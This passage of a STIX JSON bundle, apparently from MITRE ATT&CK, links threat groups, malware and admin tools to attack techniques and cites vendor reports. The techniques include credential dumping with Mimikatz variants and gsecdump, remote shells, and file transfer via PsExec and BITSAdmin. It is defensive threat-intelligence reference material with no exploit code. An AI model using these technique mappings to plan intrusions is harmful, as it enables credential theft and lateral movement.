                    "source_name": "SecureWorks BRONZE UNION June 2017"
                }
            ],
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors have used a modified version of [Mimikatz](https://attack.mitre.org/software/S0002) called Wrapikatz to dump credentials. They have also dumped credentials from domain controllers.(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)",
            "relationship_type": "uses",
            "id": "relationship--21f2fd40-073c-4c25-bf4e-19339ac1f99d",
            "type": "relationship",
            "modified": "2020-03-20T00:22:39.377Z",
            "created": "2020-03-20T00:22:39.377Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011",
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                },
                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
                    "source_name": "SecureWorks BRONZE UNION June 2017"
                }
            ],
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors have used [gsecdump](https://attack.mitre.org/software/S0008) to dump credentials. They have also dumped credentials from domain controllers.(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)",
            "relationship_type": "uses",
            "id": "relationship--a829622f-60cf-4e24-afce-fb89270e95cb",
            "type": "relationship",
            "modified": "2020-03-20T00:22:39.402Z",
            "created": "2020-03-20T00:22:39.402Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "Palo Alto MoonWind March 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"
                },
                {
                    "source_name": "Palo Alto MoonWind March 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"
                }
            ],
            "description": "[MoonWind](https://attack.mitre.org/software/S0149) can execute commands via an interactive command shell.(Citation: Palo Alto MoonWind March 2017) [MoonWind](https://attack.mitre.org/software/S0149) uses batch scripts for various purposes, including to restart and uninstall itself.(Citation: Palo Alto MoonWind March 2017)",
            "relationship_type": "uses",
            "id": "relationship--66bb45a4-fadf-4000-9055-90f9bb206b37",
            "type": "relationship",
            "modified": "2020-03-20T17:34:12.557Z",
            "created": "2020-03-20T01:56:53.587Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c",
            "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
            "external_references": [
                {
                    "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf",
                    "source_name": "Kaspersky Adwind Feb 2016"
                }
            ],
            "description": "[jRAT](https://attack.mitre.org/software/S0283) has been distributed as HTA files with JScript.(Citation: Kaspersky Adwind Feb 2016)\t",
            "relationship_type": "uses",
            "id": "relationship--a28ed204-7e5c-4090-a0c5-0a056ef602fe",
            "type": "relationship",
            "modified": "2020-06-23T19:55:50.241Z",
            "created": "2020-03-20T02:17:36.884Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/",
                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
                    "source_name": "McAfee Honeybee"
                },
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/",
                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
                    "source_name": "McAfee Honeybee"
                }
            ],
            "description": "Several commands are supported by the [Honeybee](https://attack.mitre.org/groups/G0072)'s implant via the command-line interface and there\u2019s also a utility to execute any custom command on an infected endpoint.(Citation: McAfee Honeybee) [Honeybee](https://attack.mitre.org/groups/G0072) used batch scripting.(Citation: McAfee Honeybee)",
            "relationship_type": "uses",
            "id": "relationship--58e2393f-06b5-44a6-a2ad-9b9980dd57ab",
            "type": "relationship",
            "modified": "2020-04-16T19:41:40.715Z",
            "created": "2020-03-20T02:31:08.790Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
                    "source_name": "Novetta Blockbuster Destructive Malware"
                },
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/",
                    "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.",
                    "source_name": "McAfee Lazarus Resurfaces Feb 2018"
                },
                {
                    "source_name": "US-CERT SHARPKNOT June 2018",
                    "description": "US-CERT. (2018, March 09). Malware Analysis Report (MAR) - 10135536.11.WHITE. Retrieved June 13, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf"
                },
                {
                    "source_name": "F-Secure Lazarus Cryptocurrency Aug 2020",
                    "url": "https://labs.f-secure.com/assets/BlogFiles/f-secureLABS-tlp-white-lazarus-threat-intel-report2.pdf",
                    "description": "F-Secure Labs. (2020, August 18). Lazarus Group Campaign Targeting the Cryptocurrency Vertical. Retrieved September 1, 2020."
                },
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "source_name": "McAfee GhostSecret"
                }
            ],
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses cmd.exe to execute commands on victims.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: US-CERT SHARPKNOT June 2018)(Citation: F-Secure Lazarus Cryptocurrency Aug 2020) A Destover-like variant used by [Lazarus Group](https://attack.mitre.org/groups/G0032) uses a batch file mechanism to delete its binaries from the system.(Citation: McAfee GhostSecret)",
            "relationship_type": "uses",
            "id": "relationship--032981a6-3299-4852-bd9c-c691f866bec5",
            "type": "relationship",
            "modified": "2020-12-11T17:47:23.082Z",
            "created": "2020-03-20T02:33:03.035Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "FireEye APT34 Dec 2017",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
                },
                {
                    "source_name": "OilRig ISMAgent July 2017",
                    "description": "Falcone, R. and Lee, B. (2017, July 27). OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group. Retrieved January 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/"
                },
                {
                    "source_name": "Unit 42 OopsIE! Feb 2018",
                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"
                },
                {
                    "source_name": "Unit 42 QUADAGENT July 2018",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"
                },
                {
                    "description": "Falcone, R., Wilhoit, K.. (2018, November 16). Analyzing OilRig\u2019s Ops Tempo from Testing to Weaponization to Delivery. Retrieved April 23, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/",
                    "source_name": "Unit42 OilRig Nov 2018"
                },
                {
                    "source_name": "FireEye APT34 Dec 2017",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
                },
                {
                    "source_name": "OilRig ISMAgent July 2017",
                    "description": "Falcone, R. and Lee, B. (2017, July 27). OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group. Retrieved January 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/"
                },
                {
                    "source_name": "Unit 42 OopsIE! Feb 2018",
                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"
                },
                {
                    "source_name": "Unit 42 QUADAGENT July 2018",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"
                },
                {
                    "description": "Falcone, R., Wilhoit, K.. (2018, November 16). Analyzing OilRig\u2019s Ops Tempo from Testing to Weaponization to Delivery. Retrieved April 23, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/",
                    "source_name": "Unit42 OilRig Nov 2018"
                }
            ],
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used macros to deliver malware such as [QUADAGENT](https://attack.mitre.org/software/S0269) and [OopsIE](https://attack.mitre.org/software/S0264).(Citation: FireEye APT34 Dec 2017)(Citation: OilRig ISMAgent July 2017)(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 QUADAGENT July 2018)(Citation: Unit42 OilRig Nov 2018) [OilRig](https://attack.mitre.org/groups/G0049) has used batch scripts.(Citation: FireEye APT34 Dec 2017)(Citation: OilRig ISMAgent July 2017)(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 QUADAGENT July 2018)(Citation: Unit42 OilRig Nov 2018)",
            "relationship_type": "uses",
            "id": "relationship--26cee727-2047-4ea9-b3bd-1115431aa633",
            "type": "relationship",
            "modified": "2020-03-20T17:37:14.709Z",
            "created": "2020-03-20T02:37:24.768Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09",
            "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
            "relationship_type": "revoked-by",
            "id": "relationship--d4895c50-334c-4d8b-b329-8613de602fa4",
            "type": "relationship",
            "modified": "2020-03-20T14:28:39.733Z",
            "created": "2020-03-20T14:28:39.733Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6",
            "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92",
            "relationship_type": "revoked-by",
            "id": "relationship--cb4015bf-e7a4-4b26-8816-1f7a996adf4f",
            "type": "relationship",
            "modified": "2020-03-20T15:22:53.973Z",
            "created": "2020-03-20T15:22:53.973Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761",
            "target_ref": "attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86",
            "external_references": [
                {
                    "url": "https://www.synack.com/2017/01/01/mac-malware-2016/",
                    "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.",
                    "source_name": "synack 2016 review"
                }
            ],
            "description": "[Keydnap](https://attack.mitre.org/software/S0276) puts a space after a false .jpg extension so that execution actually goes through the Terminal.app program.(Citation: synack 2016 review)",
            "relationship_type": "uses",
            "id": "relationship--b9688abd-0f6d-4c76-8b73-d9fe7d11f07f",
            "type": "relationship",
            "modified": "2020-03-20T15:25:55.205Z",
            "created": "2020-03-20T15:25:55.205Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "external_references": [
                {
                    "source_name": "ESET Turla Mosquito May 2018",
                    "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.",
                    "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/"
                },
                {
                    "url": "https://github.com/rapid7/meterpreter/tree/master/source/extensions/priv/server/elevate",
                    "description": "Rapid7. (2013, November 26). meterpreter/source/extensions/priv/server/elevate/. Retrieved July 8, 2018.",
                    "source_name": "Github Rapid7 Meterpreter Elevate"
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used Metasploit to perform reflective DLL injection in order to escalate privileges.(Citation: ESET Turla Mosquito May 2018)(Citation: Github Rapid7 Meterpreter Elevate)",
            "relationship_type": "uses",
            "id": "relationship--1a978832-f04d-4853-8094-58fc99e30ed1",
            "type": "relationship",
            "modified": "2020-03-20T15:43:40.759Z",
            "created": "2020-03-20T15:43:40.759Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69",
            "target_ref": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae",
            "relationship_type": "revoked-by",
            "id": "relationship--79cf4e4a-aa04-4414-85a8-17cc6f0cad18",
            "type": "relationship",
            "modified": "2020-03-20T16:01:21.024Z",
            "created": "2020-03-20T16:01:21.024Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "Cybereason Oceanlotus May 2017",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018."
                },
                {
                    "source_name": "Cybereason Cobalt Kitty 2017",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"
                }
            ],
            "description": "[Denis](https://attack.mitre.org/software/S0354) can launch a remote shell to execute arbitrary commands on the victim\u2019s machine.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)",
            "relationship_type": "uses",
            "id": "relationship--f8d053fe-be2f-43fd-88d5-507e82ee4e1d",
            "type": "relationship",
            "modified": "2020-03-20T17:02:09.404Z",
            "created": "2020-03-20T17:02:09.404Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.",
                    "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/",
                    "source_name": "ESET TeleBots Oct 2018"
                }
            ],
            "description": "[Exaramel for Windows](https://attack.mitre.org/software/S0343) has a command to launch a remote shell and executes commands on the victim\u2019s machine.(Citation: ESET TeleBots Oct 2018)",
            "relationship_type": "uses",
            "id": "relationship--b8987cc5-08cb-484e-877f-438706f25915",
            "type": "relationship",
            "modified": "2020-03-20T17:11:15.190Z",
            "created": "2020-03-20T17:11:15.190Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "external_references": [
                {
                    "source_name": "Kaspersky Adwind Feb 2016",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf",
                    "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."
                }
            ],
            "description": "[jRAT](https://attack.mitre.org/software/S0283) has been distributed as HTA files with VBScript.(Citation: Kaspersky Adwind Feb 2016)\t",
            "relationship_type": "uses",
            "id": "relationship--149f62ba-b5c1-4dcb-b677-a45b72cf5d7b",
            "type": "relationship",
            "modified": "2020-03-20T17:30:56.508Z",
            "created": "2020-03-20T17:30:56.508Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--64764dc6-a032-495f-8250-1e4c06bdc163",
            "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5",
            "external_references": [
                {
                    "source_name": "Microsoft About BITS",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/bits/about-bits",
                    "description": "Microsoft. (2019, July 12). About BITS. Retrieved March 16, 2020."
                }
            ],
            "description": "[BITSAdmin](https://attack.mitre.org/software/S0190) can be used to create [BITS Jobs](https://attack.mitre.org/techniques/T1197) to upload and/or download files from SMB file servers.(Citation: Microsoft About BITS)",
            "relationship_type": "uses",
            "id": "relationship--338c0224-eb50-4027-925a-637ee765b187",
            "type": "relationship",
            "modified": "2020-03-20T18:09:11.618Z",
            "created": "2020-03-20T18:09:11.618Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "url": "https://technet.microsoft.com/en-us/library/bb490886.aspx",
                    "description": "Microsoft. (n.d.). Copy. Retrieved April 26, 2016.",
                    "source_name": "TechNet Copy"
                }
            ],
            "description": "[cmd](https://attack.mitre.org/software/S0106) can be used to copy files to/from a remotely connected external system.(Citation: TechNet Copy)",
            "relationship_type": "uses",
            "id": "relationship--2c13a056-b82d-4f56-a530-8562e0e9b038",
            "type": "relationship",
            "modified": "2020-03-20T18:38:23.341Z",
            "created": "2020-03-20T18:38:23.341Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--c256da91-6dd5-40b2-beeb-ee3b22ab3d27",
            "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5",
            "external_references": [
                {
                    "description": "LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Esentutl/",
                    "source_name": "LOLBAS Esentutl"
                }
            ],
            "description": "[esentutl](https://attack.mitre.org/software/S0404) can be used to copy files to/from a remote share.(Citation: LOLBAS Esentutl)",
            "relationship_type": "uses",
            "id": "relationship--3b10d114-ce08-4c8f-b8c6-e2ed13e04912",
            "type": "relationship",
            "modified": "2020-03-20T18:41:43.580Z",
            "created": "2020-03-20T18:41:43.580Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973",
            "target_ref": "attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235",
            "external_references": [
                {
                    "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf",
                    "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.",
                    "source_name": "Novetta-Axiom"
                }
            ],
            "description": "Some malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) also uses steganography to hide communication in PNG image files.(Citation: Novetta-Axiom)",
            "relationship_type": "uses",
            "id": "relationship--0c393451-a750-4c8a-81be-4d0e9e84a6eb",
            "type": "relationship",
            "modified": "2020-03-20T18:43:10.704Z",
            "created": "2020-03-20T18:43:10.704Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
            "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5",
            "external_references": [
                {
                    "source_name": "Palo Alto Shamoon Nov 2016",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
                }
            ],
            "description": "[Shamoon](https://attack.mitre.org/software/S0140) attempts to copy itself to remote machines on the network.(Citation: Palo Alto Shamoon Nov 2016)",
            "relationship_type": "uses",
            "id": "relationship--8ab5ee87-6fdf-447a-b622-0a68ed34e330",
            "type": "relationship",
            "modified": "2020-03-20T19:01:49.471Z",
            "created": "2020-03-20T19:01:49.471Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "relationship_type": "revoked-by",
            "id": "relationship--e4a43af9-e8f0-42cf-a707-b2393efb44f5",
            "type": "relationship",
            "modified": "2020-03-20T19:03:04.500Z",
            "created": "2020-03-20T19:03:04.500Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5",
            "external_references": [
                {
                    "source_name": "ESET Turla PowerShell May 2019",
                    "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/",
                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."
                },
                {
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments",
                    "source_name": "Symantec Waterbug Jun 2019"
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) RPC backdoors can be used to transfer files to/from victim machines on the local network.(Citation: ESET Turla PowerShell May 2019)(Citation: Symantec Waterbug Jun 2019)",
            "relationship_type": "uses",
            "id": "relationship--56ad8893-2933-4b3b-a84d-026d9afb7dcb",
            "type": "relationship",
            "modified": "2020-03-20T19:12:22.367Z",
            "created": "2020-03-20T19:12:22.367Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
            "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5",
            "external_references": [
                {
                    "url": "http://windowsitpro.com/systems-management/psexec",
                    "description": "Russinovich, M. (2004, June 28). PsExec. Retrieved December 17, 2015.",
                    "source_name": "PsExec Russinovich"
                }
            ],
            "description": "[PsExec](https://attack.mitre.org/software/S0029) can be used to download or upload a file over a network share.(Citation: PsExec Russinovich)",
            "relationship_type": "uses",
            "id": "relationship--9f5c68fe-a32e-405d-ae58-0965f04855cb",
            "type": "relationship",
            "modified": "2020-03-20T19:20:27.670Z",
            "created": "2020-03-20T19:20:27.670Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--54456690-84de-4538-9101-643e26437e09",
            "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd",
            "relationship_type": "revoked-by",
            "id": "relationship--d466f2a4-4d31-4343-b56f-f2d132dc1d3e",
            "type": "relationship",
